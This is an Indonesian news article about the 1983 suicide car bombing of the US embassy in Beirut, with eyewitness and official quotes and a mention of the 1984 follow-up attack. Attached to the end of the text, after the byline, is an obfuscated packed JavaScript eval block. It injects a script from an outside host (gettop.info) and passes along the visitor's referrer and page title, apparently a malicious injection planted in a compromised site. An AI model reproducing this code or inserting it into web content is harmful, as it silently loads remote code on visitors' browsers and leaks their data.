Intervensi AS Di Libanon Dibalas Bom Bunuh Diri

liputan6com/indolinear.com
Kamis, 24 Agustus 2017
loading...

Indolinear.com, Belrut – Pada 18 April 1983 tragedi tercatat dalam sejarah Amerika Serikat. Kedutaan AS di Beirut, Lebanon, diguncang bom mobil bunuh diri yang menewaskan 63 orang, termasuk di antaranya 17 warga Amerika.

Korban, kebanyakan merupakan staf kedutaan dan CIA, serta beberapa di antaranya adalah anggota militer AS. Peristiwa itu ditandai sebagai serangan paling mematikan dalam sejarah misi diplomatik AS sekaligus serangan perdana kelompok militan yang menargetkan Negeri Paman Sam.

Serangan bom mobil bunuh diri dipicu oleh intervensi AS dan sejumlah negara Barat dalam Perang Saudara Lebanon.

Bom mobil diledakkan oleh seorang pengebom bunuh diri yang mengendarai sebuah mobil van pengirim barang sekitar pukul 13.00 waktu setempat. Di dalam kendaraan itu terdapat peledak dengan berat mencapai 910 kilogram.

Mobil van yang dibeli di Texas, AS, dan dikirim ke Lebanon tersebut memperoleh akses untuk masuk ke kompleks kedutaan dan parkir di bawah sebuah serambi di bagian paling depan gedung. Di sanalah ledakan terjadi.

Ledakan terdengar hingga ke Beirut Barat. Dan para penyelamat bekerja sepanjang waktu untuk mengevakuasi korban, baik mereka yang terluka atau telah kehilangan nyawa.

“Tiba-tiba, jendela hancur. Saya sangat beruntung, karena dapat menutup wajah dengan lengan dan kaus sehingga terlindungi dari pecahan kaca. Saya tidak pernah mendengar ledakan. Sementara yang lainnya mengatakan, itu adalah ledakan paling keras yang pernah mereka dengar. Itu bahkan terdengar dari jarak jauh,” ujar Robert S. Dillon, Duta Besar AS untuk Lebanon saat itu.

Presiden AS saat itu Ronald Reagan mengutuk peristiwa tersebut sebagai “aksi keji” dan “pengecut”.

“Tindak pidana dalam lingkungan diplomatik tersebut tidak akan menghalangi kita dari tujuan menghadirkan perdamaian di kawasan…,” ungkap Presiden Reagan.

Kelompok pro-Iran yang menamakan diri mereka Islamic Jihad Organization mengaku bertanggung jawab atas bom mobil bunuh diri tersebut. Klaim datang melalui sambungan telepon ke sebuah kantor berita.

“Ini adalah bagian dari kampanye revolusi Iran melawan target imperialis di seluruh dunia. Kami akan tetap melancarkan penyerangan terhadap setiap tentara salib di Lebanon, termasuk pasukan internasional,” ujar penelepon anonim itu.

Kelompok yang sama sebelumnya juga bertanggung ajwab atas serangan granat yang melukai lima anggota pasukan penjaga perdamaian internasional asal AS. Setelah tragedi tersebut, komplek kedutaan AS dipindahkan ke lokasi yang dianggap lebih aman di Beirut Timur.

Namun pada 20 September 1984, di lokasi barunya, kedubes AS kembali diguncang serangan bom mobil. Aksi teror tersebut menewaskan 20 warga Lebanon dan dua tentara AS. (Uli)eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))d.getElementsByTagName(‘head’)[0].appendChild(s);